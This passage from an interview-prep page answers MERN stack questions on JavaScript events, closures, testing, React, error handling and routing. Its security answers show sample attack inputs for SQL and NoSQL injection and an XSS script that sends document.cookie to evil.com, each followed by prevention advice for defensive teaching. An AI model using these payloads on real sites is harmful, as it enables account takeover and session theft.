//   Button → Parent → Grandparent → Body → HTML → Document → Window

Event Bubbling Example:

document.getElementById("grandparent").addEventListener("click", () => {
  console.log("Grandparent clicked");
});
document.getElementById("parent").addEventListener("click", () => {
  console.log("Parent clicked");
});
document.getElementById("child").addEventListener("click", () => {
  console.log("Child clicked");
});

// When button is clicked, output:
// "Child clicked"      (target)
// "Parent clicked"     (bubbling up!)
// "Grandparent clicked" (still bubbling!)

Stop Bubbling – stopPropagation():

document.getElementById("child").addEventListener("click", (event) => {
  event.stopPropagation(); // Stops event from bubbling up!
  console.log("Only Child clicked");
});
// Now only "Child clicked" is logged

Event Capturing (top → down):

// Third parameter true = capturing phase
document.getElementById("grandparent").addEventListener("click", () => {
  console.log("Grandparent - CAPTURING");
}, true);  // ← true enables capturing

document.getElementById("child").addEventListener("click", () => {
  console.log("Child - Bubbling");
});

// Output when button clicked:
// "Grandparent - CAPTURING" (capturing fires first!)
// "Child - Bubbling"

Event Delegation (Practical Use – Very Important!):

// ❌ Adding listener to each button (inefficient for 100+ buttons)
document.querySelectorAll(".delete-btn").forEach(btn => {
  btn.addEventListener("click", handleDelete);
});

// ✅ Event Delegation - one listener on parent handles all children!
document.getElementById("product-list").addEventListener("click", (e) => {
  if (e.target.classList.contains("delete-btn")) {
    const productId = e.target.dataset.id;
    deleteProduct(productId);
  }
});
// Works even for dynamically added buttons!

💡 Interview Tip: Event Delegation is heavily used in performance optimization. One parent listener is much better than many individual listeners!

44

What is the difference between == and === in JavaScript?

Medium 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

== (Loose Equality) vs === (Strict Equality)

=== Strict Equality (RECOMMENDED)

Checks both value AND type. No type conversion.

== Loose Equality (AVOID)

Checks only value. Performs type coercion (auto type conversion) before comparing.

Examples:

// === Strict Equality
console.log(5 === 5);        // true  (number vs number, same value)
console.log(5 === "5");      // false (number vs string, different types!)
console.log(true === 1);     // false (boolean vs number)
console.log(null === undefined); // false (different types)

// == Loose Equality (type coercion happens!)
console.log(5 == "5");       // true  ("5" converted to 5)
console.log(0 == false);     // true  (false converted to 0)
console.log(0 == "");        // true  ("" converted to 0)
console.log(null == undefined); // true  (special case!)
console.log(null == 0);      // false (null only == undefined)
console.log("" == false);    // true  (both become 0)

Tricky Cases:

// Objects are compared by REFERENCE (both == and ===)
const a = { name: "Priya" };
const b = { name: "Priya" };
const c = a;

console.log(a === b); // false (different references!)
console.log(a === c); // true  (same reference)
console.log(a == b);  // false (same for ==)

// NaN is never equal to itself
console.log(NaN === NaN); // false (special rule!)
console.log(Number.isNaN(NaN)); // true ✅ (use this instead)

Type Coercion Table (== common results):

undefined == null   → true
false == 0          → true
false == ""         → true
false == "0"        → false (!"0" is false, "0" is truthy!)
"" == 0             → true
"1" == 1            → true
null == 0           → false
null == ""          → false

Best Practice:

  • ✅ Always use === in your code
  • ✅ Use !== instead of !=
  • ❌ Avoid == unless you specifically need type coercion

💡 ESLint Rule: "eqeqeq": "error" – This enforces === throughout your codebase!

45

What are closures in JavaScript? Give practical examples.

Medium 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

What is a Closure?

A closure is a function that remembers the variables from its outer scope even after the outer function has finished executing. In other words, a function "closes over" its surrounding variables.

Basic Closure Example:

function outerFunction(x) {
  // x is in outer scope
  
  function innerFunction(y) {
    return x + y; // innerFunction closes over x
  }
  
  return innerFunction; // Return the function (not called!)
}

const addFive = outerFunction(5); // x = 5, outer function done
const addTen = outerFunction(10); // x = 10

console.log(addFive(3));  // 8  (5 + 3)  - x is still remembered!
console.log(addTen(3));   // 13 (10 + 3) - different closure!

Practical Use Cases:

1. Data Encapsulation / Private Variables:

function createBankAccount(initialBalance) {
  let balance = initialBalance; // Private! Cannot be accessed directly
  
  return {
    deposit: (amount) => {
      balance += amount;
      console.log(`Deposited ₹${amount}. Balance: ₹${balance}`);
    },
    withdraw: (amount) => {
      if (amount > balance) return console.log("Insufficient funds!");
      balance -= amount;
      console.log(`Withdrew ₹${amount}. Balance: ₹${balance}`);
    },
    getBalance: () => balance
  };
}

const account = createBankAccount(1000);
account.deposit(500);   // Balance: ₹1500
account.withdraw(200);  // Balance: ₹1300
console.log(account.balance); // undefined - private!
console.log(account.getBalance()); // 1300 ✅

2. Function Factory:

function createMultiplier(factor) {
  return (number) => number * factor; // Closes over factor
}

const double = createMultiplier(2);
const triple = createMultiplier(3);
const taxCalculator = createMultiplier(1.18); // 18% GST

console.log(double(5));       // 10
console.log(triple(5));       // 15
console.log(taxCalculator(1000)); // 1180

3. Closures in React (Event Handlers):

function TodoList() {
  const [todos, setTodos] = useState(["Task 1", "Task 2", "Task 3"]);

  // handleDelete closes over "todos" and "setTodos"!
  const handleDelete = (index) => {
    setTodos(todos.filter((_, i) => i !== index));
  };

  return (
    <ul>
      {todos.map((todo, index) => (
        <li key={index}>
          {todo}
          <button onClick={() => handleDelete(index)}>Delete</button>
          {/* This anonymous function closes over "index" */}
        </li>
      ))}
    </ul>
  );
}

💡 Interview Definition: "A closure is when an inner function has access to the outer function's variables even after the outer function has returned. JavaScript achieves this through lexical scoping and the scope chain."

Advertisement
46

How do you test Express.js APIs? Explain with Supertest example.

Medium 📁 Testing
💡
Detailed Answer
Scroll to read complete explanation

API Testing with Jest & Supertest

Setup:

npm install --save-dev jest supertest

// package.json
{
  "scripts": {
    "test": "jest --forceExit",
    "test:coverage": "jest --coverage"
  },
  "jest": {
    "testEnvironment": "node"
  }
}

Test Database Setup:

// tests/setup.js - Use in-memory MongoDB for testing
const mongoose = require("mongoose");
const { MongoMemoryServer } = require("mongodb-memory-server");
// npm install --save-dev mongodb-memory-server

let mongoServer;

beforeAll(async () => {
  mongoServer = await MongoMemoryServer.create();
  await mongoose.connect(mongoServer.getUri());
});

afterAll(async () => {
  await mongoose.disconnect();
  await mongoServer.stop();
});

afterEach(async () => {
  // Clean up data between tests
  const collections = Object.keys(mongoose.connection.collections);
  for (const collection of collections) {
    await mongoose.connection.collections[collection].deleteMany();
  }
});

Complete API Test Suite:

// tests/user.test.js
const request = require("supertest");
const app = require("../server"); // Your Express app
const User = require("../models/User");

describe("User API Tests", () => {
  // Test POST /api/users (Register)
  describe("POST /api/auth/register", () => {
    test("should register a new user successfully", async () => {
      const res = await request(app)
        .post("/api/auth/register")
        .send({
          name: "Test User",
          email: "test@example.com",
          password: "password123"
        });

      expect(res.status).toBe(201);
      expect(res.body).toHaveProperty("message", "User registered successfully");
      
      // Verify user is in database
      const user = await User.findOne({ email: "test@example.com" });
      expect(user).toBeTruthy();
      expect(user.name).toBe("Test User");
    });

    test("should return 400 for duplicate email", async () => {
      await User.create({ name: "Existing", email: "test@example.com", password: "pass" });
      
      const res = await request(app)
        .post("/api/auth/register")
        .send({ name: "New", email: "test@example.com", password: "pass123" });

      expect(res.status).toBe(400);
      expect(res.body.message).toMatch(/already exists/i);
    });
  });

  // Test GET /api/users (with auth)
  describe("GET /api/users", () => {
    let token;
    
    beforeEach(async () => {
      // Create user and get token
      await request(app)
        .post("/api/auth/register")
        .send({ name: "Admin", email: "admin@test.com", password: "admin123" });
      
      const loginRes = await request(app)
        .post("/api/auth/login")
        .send({ email: "admin@test.com", password: "admin123" });
      
      token = loginRes.body.token;
    });

    test("should return users when authenticated", async () => {
      const res = await request(app)
        .get("/api/users")
        .set("Authorization", `Bearer ${token}`);

      expect(res.status).toBe(200);
      expect(Array.isArray(res.body)).toBe(true);
    });

    test("should return 401 without token", async () => {
      const res = await request(app).get("/api/users");
      expect(res.status).toBe(401);
    });
  });
});
47

How do you write unit tests for React components?

Medium 📁 Testing
💡
Detailed Answer
Scroll to read complete explanation

Testing React Components – Jest & React Testing Library

Setup:

# Create React App includes Jest by default
# React Testing Library is also included

npm install --save-dev @testing-library/react @testing-library/jest-dom @testing-library/user-event

Basic Component Test:

// components/Button.test.js
import { render, screen, fireEvent } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import Button from "./Button";

describe("Button Component", () => {
  // Test 1: Renders correctly
  test("renders button with correct text", () => {
    render(<Button label="Click Me" onClick={() => {}} />);
    const button = screen.getByText("Click Me");
    expect(button).toBeInTheDocument();
  });

  // Test 2: Click handler
  test("calls onClick when clicked", () => {
    const mockHandler = jest.fn(); // Mock function
    render(<Button label="Submit" onClick={mockHandler} />);
    
    const button = screen.getByRole("button");
    fireEvent.click(button);
    
    expect(mockHandler).toHaveBeenCalledTimes(1);
  });

  // Test 3: Disabled state
  test("does not call onClick when disabled", () => {
    const mockHandler = jest.fn();
    render(<Button label="Submit" onClick={mockHandler} disabled />);
    
    const button = screen.getByRole("button");
    expect(button).toBeDisabled();
    fireEvent.click(button);
    expect(mockHandler).not.toHaveBeenCalled();
  });
});

Testing with Async Data (API Mocking):

// components/UserList.test.js
import { render, screen, waitFor } from "@testing-library/react";
import UserList from "./UserList";

// Mock the API module
jest.mock("../api/axiosConfig");
import api from "../api/axiosConfig";

describe("UserList Component", () => {
  test("shows loading state initially", () => {
    api.get.mockResolvedValueOnce({ data: [] });
    render(<UserList />);
    expect(screen.getByText("Loading...")).toBeInTheDocument();
  });

  test("renders users after successful fetch", async () => {
    const mockUsers = [
      { _id: "1", name: "Priya", email: "priya@test.com" },
      { _id: "2", name: "Ravi", email: "ravi@test.com" }
    ];
    api.get.mockResolvedValueOnce({ data: mockUsers });
    
    render(<UserList />);
    
    await waitFor(() => {
      expect(screen.getByText("Priya")).toBeInTheDocument();
      expect(screen.getByText("Ravi")).toBeInTheDocument();
    });
  });

  test("shows error when fetch fails", async () => {
    api.get.mockRejectedValueOnce(new Error("Network Error"));
    
    render(<UserList />);
    
    await waitFor(() => {
      expect(screen.getByText(/error/i)).toBeInTheDocument();
    });
  });
});

Testing Forms with User Events:

test("submits form with user data", async () => {
  const user = userEvent.setup();
  const mockSubmit = jest.fn();
  render(<LoginForm onSubmit={mockSubmit} />);

  await user.type(screen.getByLabelText("Email"), "test@example.com");
  await user.type(screen.getByLabelText("Password"), "password123");
  await user.click(screen.getByRole("button", { name: "Login" }));

  expect(mockSubmit).toHaveBeenCalledWith({
    email: "test@example.com",
    password: "password123"
  });
});

Run Tests:

npm test              # Watch mode
npm test -- --coverage # Coverage report
48

How do you optimize a React application for better performance?

Medium 📁 Performance Optimization
💡
Detailed Answer
Scroll to read complete explanation

React Performance Optimization Techniques

1. React.memo – Prevent Unnecessary Re-renders:

import { memo } from "react";

// Without memo: re-renders every time parent renders
// With memo: only re-renders if props change

const ProductCard = memo(({ product, onAddToCart }) => {
  console.log("ProductCard rendered:", product.name);
  return (
    <div>
      <h3>{product.name}</h3>
      <p>₹{product.price}</p>
      <button onClick={() => onAddToCart(product)}>Add to Cart</button>
    </div>
  );
});

// Combine with useCallback for handler functions!
const handleAddToCart = useCallback((product) => {
  dispatch(addItem(product));
}, [dispatch]);

2. Lazy Loading & Code Splitting:

import { lazy, Suspense } from "react";

// ❌ Without lazy: ALL components loaded at start
import Dashboard from "./pages/Dashboard";
import Reports from "./pages/Reports";

// ✅ With lazy: loads only when navigated to
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Reports = lazy(() => import("./pages/Reports"));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <Routes>
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/reports" element={<Reports />} />
      </Routes>
    </Suspense>
  );
}

3. Virtualization for Long Lists:

// Without virtualization: 10,000 DOM nodes = very slow!
// With react-window: only renders visible items!

import { FixedSizeList } from "react-window";

function UserList({ users }) {
  const Row = ({ index, style }) => (
    <div style={style}>  {/* style contains position/size info */}
      <p>{users[index].name}</p>
    </div>
  );

  return (
    <FixedSizeList
      height={600}       // Container height
      itemCount={users.length}
      itemSize={60}      // Each row height
      width="100%"
    >
      {Row}
    </FixedSizeList>
  );
}

4. Image Optimization:

// Lazy load images
<img
  src={product.image}
  alt={product.name}
  loading="lazy"     // Browser native lazy loading
  width={300}
  height={200}
/>

// Use WebP format for smaller file size
// Use appropriate image sizes (don't load 2000px image for 200px element)

5. Additional Optimization Techniques:

  • useMemo – Cache expensive calculations
  • useCallback – Cache functions passed to children
  • Avoid anonymous functions in JSX: ❌ onClick={() => handle(id)} → ✅ pre-defined handler
  • Bundle Analysis: npm run build -- --analyze
  • CDN for static assets – Images, fonts, libraries

💡 Interview Answer Structure: "I profile first with React DevTools, identify the performance bottleneck, then apply the appropriate optimization. Common solutions: React.memo for component memoization, lazy loading for code splitting, and virtualization for long lists."

49

What is SQL Injection? Does MongoDB have similar vulnerabilities?

Medium 📁 Security
💡
Detailed Answer
Scroll to read complete explanation

SQL Injection vs MongoDB Injection

SQL Injection (Traditional Databases):

// Vulnerable SQL query
const query = `SELECT * FROM users WHERE email = "${email}" AND password = "${password}"`;

// Attacker inputs email: admin@mail.com' OR '1'='1
// Query becomes: SELECT * FROM users WHERE email = "admin@mail.com" OR "1"="1"
// This returns ALL users! Attacker gets admin access! 💀

MongoDB NoSQL Injection:

// Vulnerable MongoDB code (without Mongoose validation)
// Attacker sends: { "email": { "$gt": "" }, "password": { "$gt": "" } }

app.post("/login", async (req, res) => {
  // ❌ DANGEROUS - directly using req.body in query!
  const user = await User.findOne({ 
    email: req.body.email,     // Could be { "$gt": "" }
    password: req.body.password // Could be { "$gt": "" }
  });
  // $gt: "" means "greater than empty string" = matches everything!
});

Prevention in MongoDB/MERN:

// 1. Use Mongoose (auto-casts and validates types)
// Mongoose expects a string, so { "$gt": "" } is rejected

// 2. Explicitly check input types
app.post("/login", async (req, res) => {
  const { email, password } = req.body;
  
  // Type checking
  if (typeof email !== "string" || typeof password !== "string") {
    return res.status(400).json({ message: "Invalid input" });
  }
  
  const user = await User.findOne({ email: email.toLowerCase() });
  // ...
});

// 3. Input Validation with express-validator
const { body } = require("express-validator");

[
  body("email").isEmail().normalizeEmail(),
  body("password").isLength({ min: 6 }).trim()
]

// 4. Use $eq operator explicitly for safety
const user = await User.findOne({ 
  email: { $eq: req.body.email } // Explicit equality check
});

// 5. Sanitize inputs - mongo-sanitize
const mongoSanitize = require("express-mongo-sanitize");
app.use(mongoSanitize()); // Removes $ and . from inputs automatically

// 6. Never expose raw MongoDB errors to users
try {
  const user = await User.findOne({ email });
} catch (err) {
  // ❌ res.json({ error: err.message }); // Don't expose DB errors!
  res.status(500).json({ message: "Login failed" }); // ✅ Generic message
}

💡 Key Points for Interview:

  • MongoDB doesn't have SQL injection, but has NoSQL injection
  • Mongoose provides significant protection through schema validation
  • Always use express-mongo-sanitize in production
50

What is XSS (Cross-Site Scripting) and how to prevent it in MERN?

Medium 📁 Security
💡
Detailed Answer
Scroll to read complete explanation

What is XSS?

Cross-Site Scripting (XSS) is a security vulnerability where attackers inject malicious JavaScript into web pages, which then executes in other users' browsers. It can steal cookies, session tokens, or perform actions on behalf of the user.

Types of XSS:

  • Stored XSS – Malicious script stored in database (most dangerous)
  • Reflected XSS – Script in URL/query param, reflected in response
  • DOM-based XSS – Script manipulates DOM directly

XSS Attack Example:

// Attacker submits this as a comment:
<script>
  fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>

// If stored and displayed without escaping → Every user who sees the
// comment sends their cookies to the attacker! 💀

Prevention in MERN Stack:

// 1. React auto-escapes JSX (built-in protection!)
// ✅ Safe - React escapes by default
<p>{userInput}</p>  // Even if userInput = "<script>...", it's just text

// ❌ NEVER use dangerouslySetInnerHTML with user input!
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// 2. Sanitize HTML if you MUST render HTML (use DOMPurify)
import DOMPurify from "dompurify";
const cleanHTML = DOMPurify.sanitize(userInput);
<div dangerouslySetInnerHTML={{ __html: cleanHTML }} />

// 3. Backend - Sanitize input before storing in MongoDB
npm install express-validator

const { body, validationResult } = require("express-validator");

router.post("/comment", [
  body("content")
    .trim()
    .escape() // Converts < to &lt;, etc.
    .isLength({ min: 1, max: 500 })
], async (req, res) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  // Safe to save
});

// 4. Set Content Security Policy (CSP) header
const helmet = require("helmet");
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],  // Only load scripts from same origin
    styleSrc: ["'self'", "https://fonts.googleapis.com"]
  }
}));

// 5. HttpOnly Cookies (prevent JS from reading cookies)
res.cookie("token", jwtToken, {
  httpOnly: true,  // ← JS cannot read this cookie
  secure: true,    // ← Only sent over HTTPS
  sameSite: "strict"
});
Advertisement
51

How do you handle errors in MERN Stack application?

Medium 📁 Full Stack Integration
💡
Detailed Answer
Scroll to read complete explanation

Error Handling in MERN Stack – Complete Guide

1. Backend – Express Error Handling:

// Custom Error Class
class AppError extends Error {
  constructor(message, statusCode) {
    super(message);
    this.statusCode = statusCode;
    this.isOperational = true; // Known error (vs bug)
  }
}

// Async wrapper to avoid try/catch in every route
const catchAsync = (fn) => {
  return (req, res, next) => {
    Promise.resolve(fn(req, res, next)).catch(next); // Pass error to next()
  };
};

// Route using catchAsync
router.get("/users/:id", catchAsync(async (req, res, next) => {
  const user = await User.findById(req.params.id);
  if (!user) {
    return next(new AppError("User not found", 404));
  }
  res.json(user);
}));

// Global Error Handler (MUST be last middleware, 4 params)
app.use((err, req, res, next) => {
  err.statusCode = err.statusCode || 500;
  err.message = err.message || "Internal Server Error";

  // Mongoose Validation Error
  if (err.name === "ValidationError") {
    const errors = Object.values(err.errors).map(e => e.message);
    return res.status(400).json({ message: "Validation Error", errors });
  }

  // Duplicate key error (MongoDB)
  if (err.code === 11000) {
    const field = Object.keys(err.keyValue)[0];
    return res.status(400).json({ message: `${field} already exists` });
  }

  // JWT Error
  if (err.name === "JsonWebTokenError") {
    return res.status(401).json({ message: "Invalid token" });
  }

  res.status(err.statusCode).json({
    status: "error",
    message: err.message
  });
});

2. Frontend – React Error Handling:

// Error Boundary Component (for unexpected UI errors)
import { Component } from "react";

class ErrorBoundary extends Component {
  state = { hasError: false, error: null };

  static getDerivedStateFromError(error) {
    return { hasError: true, error };
  }

  componentDidCatch(error, info) {
    console.error("Error caught by boundary:", error, info);
    // Log to error service (Sentry, etc.)
  }

  render() {
    if (this.state.hasError) {
      return (
        <div>
          <h2>Something went wrong!</h2>
          <button onClick={() => this.setState({ hasError: false })}>
            Try Again
          </button>
        </div>
      );
    }
    return this.props.children;
  }
}

// Usage
<ErrorBoundary>
  <App />
</ErrorBoundary>

// API Error handling in components
const fetchData = async () => {
  try {
    const response = await api.get("/products");
    setProducts(response.data);
  } catch (error) {
    if (error.response) {
      // Server responded with error status
      setError(error.response.data.message);
    } else if (error.request) {
      // Request made but no response (network error)
      setError("Network error. Check your connection.");
    } else {
      // Something else went wrong
      setError("An unexpected error occurred.");
    }
  }
};
52

How do you connect React frontend to Express backend? Explain the architecture.

Medium 📁 Full Stack Integration
💡
Detailed Answer
Scroll to read complete explanation

MERN Stack Architecture

The complete flow of a MERN application:

User Browser
    │
    ▼
React.js (Frontend - Port 3000)
    │  HTTP Requests (Axios/Fetch)
    ▼
Express.js + Node.js (Backend API - Port 5000)
    │  Mongoose Queries
    ▼
MongoDB (Database - Port 27017)

Backend Setup – server.js:

const express = require("express");
const mongoose = require("mongoose");
const cors = require("cors");
const dotenv = require("dotenv");

dotenv.config();
const app = express();

// Middleware
app.use(cors({ origin: process.env.CLIENT_URL }));
app.use(express.json());

// MongoDB Connection
mongoose.connect(process.env.MONGODB_URI)
  .then(() => console.log("✅ MongoDB Connected"))
  .catch(err => console.error("❌ MongoDB Error:", err));

// Routes
app.use("/api/users", require("./routes/users"));
app.use("/api/auth", require("./routes/auth"));
app.use("/api/products", require("./routes/products"));

const PORT = process.env.PORT || 5000;
app.listen(PORT, () => console.log(`🚀 Server running on port ${PORT}`));

Frontend – React (Using Axios):

// Install: npm install axios

// api/axiosConfig.js - Centralized API config
import axios from "axios";

const api = axios.create({
  baseURL: process.env.REACT_APP_API_URL || "http://localhost:5000/api",
});

// Request interceptor - add auth token to every request
api.interceptors.request.use((config) => {
  const token = localStorage.getItem("token");
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

// Response interceptor - handle errors globally
api.interceptors.response.use(
  (response) => response,
  (error) => {
    if (error.response?.status === 401) {
      localStorage.removeItem("token");
      window.location.href = "/login";
    }
    return Promise.reject(error);
  }
);

export default api;

// Using in a component
import api from "./api/axiosConfig";

function ProductList() {
  const [products, setProducts] = useState([]);

  useEffect(() => {
    const fetchProducts = async () => {
      const response = await api.get("/products");
      setProducts(response.data);
    };
    fetchProducts();
  }, []);
}

Environment Variables (.env files):

# Backend .env
PORT=5000
MONGODB_URI=mongodb://localhost:27017/mernapp
JWT_SECRET=your_super_secret_key_here
CLIENT_URL=http://localhost:3000

# Frontend .env (React)
REACT_APP_API_URL=http://localhost:5000/api

Development Proxy Setup (React package.json):

{
  "proxy": "http://localhost:5000"
  // Now /api/users → http://localhost:5000/api/users automatically!
}
53

What are Promises, async/await in Node.js? Explain with examples.

Medium 📁 Node.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

Asynchronous JavaScript – Evolution

JavaScript has 3 ways to handle async operations, evolving from Callbacks → Promises → Async/Await

1. Callbacks (Old Way) – Callback Hell Problem:

// ❌ Callback Hell (Pyramid of Doom)
getUser(userId, function(err, user) {
  if (err) return handleError(err);
  getOrders(user.id, function(err, orders) {
    if (err) return handleError(err);
    getOrderDetails(orders[0].id, function(err, details) {
      if (err) return handleError(err);
      // 3 levels deep... keeps going!
      console.log(details);
    });
  });
});

2. Promises – Better Way:

// A Promise has 3 states: Pending → Fulfilled / Rejected

// Creating a Promise
const fetchData = new Promise((resolve, reject) => {
  const success = true;
  if (success) {
    resolve({ data: "user data" }); // Success!
  } else {
    reject(new Error("Failed to fetch")); // Failure
  }
});

// Using Promise
fetchData
  .then(result => console.log(result.data)) // Success handler
  .catch(err => console.error(err.message)) // Error handler
  .finally(() => console.log("Done!")); // Always runs

// Promise Chaining (vs callback hell)
getUser(userId)
  .then(user => getOrders(user.id))   // Returns new Promise
  .then(orders => getDetails(orders[0].id))
  .then(details => console.log(details))
  .catch(err => console.error(err)); // One catch handles all errors!

// Promise.all - Run multiple promises concurrently
const [users, products, orders] = await Promise.all([
  fetch("/api/users").then(r => r.json()),
  fetch("/api/products").then(r => r.json()),
  fetch("/api/orders").then(r => r.json())
]);
// All 3 requests happen at the SAME TIME (parallel!) – much faster!

3. Async/Await – Modern and Cleanest Way:

// Async function always returns a Promise
async function getUserData(userId) {
  try {
    // await pauses execution until Promise resolves
    const user = await User.findById(userId);
    if (!user) throw new Error("User not found");

    const orders = await Order.find({ userId: user._id });
    const products = await Product.find({ _id: { $in: orders.map(o => o.productId) } });

    return { user, orders, products };
  } catch (error) {
    console.error("Error:", error.message);
    throw error; // Re-throw for route handler to catch
  }
}

// In Express route
router.get("/users/:id", async (req, res) => {
  try {
    const data = await getUserData(req.params.id);
    res.json(data);
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

💡 Key Rule: Always use try/catch with async/await! Without it, unhandled promise rejections can crash your Node.js server.

54

What is npm and how do you manage packages in Node.js?

Medium 📁 Node.js Basics
💡
Detailed Answer
Scroll to read complete explanation

What is npm?

npm (Node Package Manager) is the world's largest software registry. It helps you install, manage, and share JavaScript packages/libraries.

Essential npm Commands:

# Initialize a new project
npm init -y  # Creates package.json with defaults

# Install packages
npm install express          # Install and add to dependencies
npm install nodemon --save-dev  # Dev dependency (not in production)
npm install -g nodemon       # Install globally

# Install all packages from package.json
npm install

# Remove package
npm uninstall express

# Update packages
npm update
npm update express

# Check outdated packages
npm outdated

# Run scripts defined in package.json
npm start
npm run dev
npm test

# View package info
npm info express

package.json – Understanding It:

{
  "name": "mern-app",
  "version": "1.0.0",
  "description": "My MERN Stack Application",
  "main": "server.js",
  "scripts": {
    "start": "node server.js",
    "dev": "nodemon server.js",
    "test": "jest"
  },
  "dependencies": {
    // Needed in production
    "express": "^4.18.2",
    "mongoose": "^7.5.0",
    "jsonwebtoken": "^9.0.2",
    "bcryptjs": "^2.4.3",
    "cors": "^2.8.5",
    "dotenv": "^16.3.1"
  },
  "devDependencies": {
    // Only needed during development
    "nodemon": "^3.0.1",
    "jest": "^29.0.0"
  }
}

Semantic Versioning (SemVer):

// "express": "^4.18.2"
//   Major.Minor.Patch
//   4     .18   .2

// ^ caret = allows minor and patch updates (4.x.x)
// ~ tilde = allows only patch updates (4.18.x)
// exact = "4.18.2" - no updates

package-lock.json:

  • Locks exact versions of all dependencies
  • Ensures everyone on the team uses the same package versions
  • Always commit this file to git!
55

What is the difference between require() and import in Node.js?

Medium 📁 Node.js Basics
💡
Detailed Answer
Scroll to read complete explanation

require() vs import – CommonJS vs ES Modules

require() – CommonJS (CJS)

// CommonJS (traditional Node.js way)
const express = require("express");
const { Router } = require("express");
const path = require("path");

// Export
module.exports = { myFunction, myVariable };
// or
module.exports = myClass;

import – ES Modules (ESM)

// ES Modules (modern way, same as browser JavaScript)
import express from "express";
import { Router } from "express";
import path from "path";

// Named export
export const myFunction = () => {};
export const myVariable = 42;

// Default export
export default class MyClass {}

Key Differences:

Feature require() (CJS) import (ESM)
Loading Synchronous (blocking) Asynchronous
When loaded Runtime (dynamic) Parse time (static)
Tree shaking ❌ No ✅ Yes (bundlers)
Top-level await ❌ No ✅ Yes
Default in Node ✅ Yes Need "type":"module" in package.json

Enable ES Modules in Node.js:

// package.json
{
  "type": "module"  // Add this line
}

// Then use .mjs extension OR "type": "module"
// Now you can use import/export in Node.js!

Dynamic Import (Both work):

// Dynamic import - loads module when needed
const module = await import("./myModule.js");
// Useful for code splitting and lazy loading

💡 2025 Trend: Modern MERN projects use ES Modules (import/export). Make sure your package.json has "type": "module" or use .mjs files.

Advertisement
56

What is React Router? How do you implement routing in React?

Medium 📁 React.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

What is React Router?

React Router is a standard routing library for React. It enables Client-Side Routing – navigating between pages without full page reload (SPA behavior).

Installation:

npm install react-router-dom

Complete Routing Setup (React Router v6):

// App.js
import { BrowserRouter, Routes, Route, Navigate } from "react-router-dom";
import Home from "./pages/Home";
import About from "./pages/About";
import Users from "./pages/Users";
import UserDetail from "./pages/UserDetail";
import NotFound from "./pages/NotFound";
import Login from "./pages/Login";
import Dashboard from "./pages/Dashboard";
import PrivateRoute from "./components/PrivateRoute";

function App() {
  return (
    <BrowserRouter>
      <Routes>
        {/* Public Routes */}
        <Route path="/" element={<Home />} />
        <Route path="/about" element={<About />} />
        <Route path="/login" element={<Login />} />

        {/* Dynamic Route - :id is a parameter */}
        <Route path="/users" element={<Users />} />
        <Route path="/users/:id" element={<UserDetail />} />

        {/* Protected Route */}
        <Route path="/dashboard" element={
          <PrivateRoute>
            <Dashboard />
          </PrivateRoute>
        } />

        {/* Redirect */}
        <Route path="/home" element={<Navigate to="/" />} />

        {/* 404 Not Found */}
        <Route path="*" element={<NotFound />} />
      </Routes>
    </BrowserRouter>
  );
}

Navigation & Hooks:

import { Link, NavLink, useNavigate, useParams, useLocation } from "react-router-dom";

function NavBar() {
  const navigate = useNavigate();

  return (
    <nav>
      <Link to="/">Home</Link>
      <NavLink to="/about" className={({ isActive }) => isActive ? "active" : ""}>About</NavLink>
      <button onClick={() => navigate("/login")}>Login</button>
      <button onClick={() => navigate(-1)}>Go Back</button>
    </nav>
  );
}

// Get URL parameters
function UserDetail() {
  const { id } = useParams(); // Gets :id from URL
  const location = useLocation(); // Current URL info
  // Fetch user by id...
  return <h1>User ID: {id}</h1>;
}

// Protected Route Component
function PrivateRoute({ children }) {
  const isLoggedIn = localStorage.getItem("token");
  return isLoggedIn ? children : <Navigate to="/login" />;
}

💡 Link vs NavLink vs useNavigate:

  • Link – Basic navigation link
  • NavLink – Link with active class support
  • useNavigate – Programmatic navigation (after form submit, etc.)
57

What is useContext Hook? Explain Context API with example.

Medium 📁 React.js Hooks
💡
Detailed Answer
Scroll to read complete explanation

What is Context API?

Context API solves the problem of Prop Drilling – passing props through many layers of components that don't need them. It allows you to share data globally across components.

Prop Drilling Problem:

// ❌ Prop Drilling (bad!)
App → passes user → Header → passes user → NavBar → passes user → UserAvatar
// UserAvatar needs user, but Header and NavBar don't use it!

Context API Solution – 3 Steps:

Step 1: Create Context

// context/AuthContext.js
import { createContext, useContext, useState } from "react";

const AuthContext = createContext();

Step 2: Create Provider

export function AuthProvider({ children }) {
  const [user, setUser] = useState(null);
  const [isLoggedIn, setIsLoggedIn] = useState(false);

  const login = (userData) => {
    setUser(userData);
    setIsLoggedIn(true);
  };

  const logout = () => {
    setUser(null);
    setIsLoggedIn(false);
  };

  return (
    <AuthContext.Provider value={{ user, isLoggedIn, login, logout }}>
      {children}
    </AuthContext.Provider>
  );
}

// Custom hook for easy access
export function useAuth() {
  return useContext(AuthContext);
}

Step 3: Wrap App & Use Context

// index.js - Wrap your app
import { AuthProvider } from "./context/AuthContext";

root.render(
  <AuthProvider>
    <App />
  </AuthProvider>
);

// Any component can now access user data directly!
function NavBar() {
  const { user, isLoggedIn, logout } = useAuth();

  return (
    <nav>
      {isLoggedIn ? (
        <>
          <span>Welcome, {user.name}!</span>
          <button onClick={logout}>Logout</button>
        </>
      ) : (
        <a href="/login">Login</a>
      )}
    </nav>
  );
}

When to Use Context vs Redux?

  • Context API – Small to medium apps, simple global state (auth, theme, language)
  • Redux – Large apps with complex state management and many actions
58

What is useEffect Hook? When and how do you use it?

Medium 📁 React.js Hooks
💡
Detailed Answer
Scroll to read complete explanation

What is useEffect?

useEffect is a React Hook that allows you to perform side effects in functional components. Side effects include: API calls, timers, subscriptions, DOM manipulation, localStorage access.

Syntax:

useEffect(() => {
  // Side effect code here
  return () => {
    // Cleanup function (optional)
  };
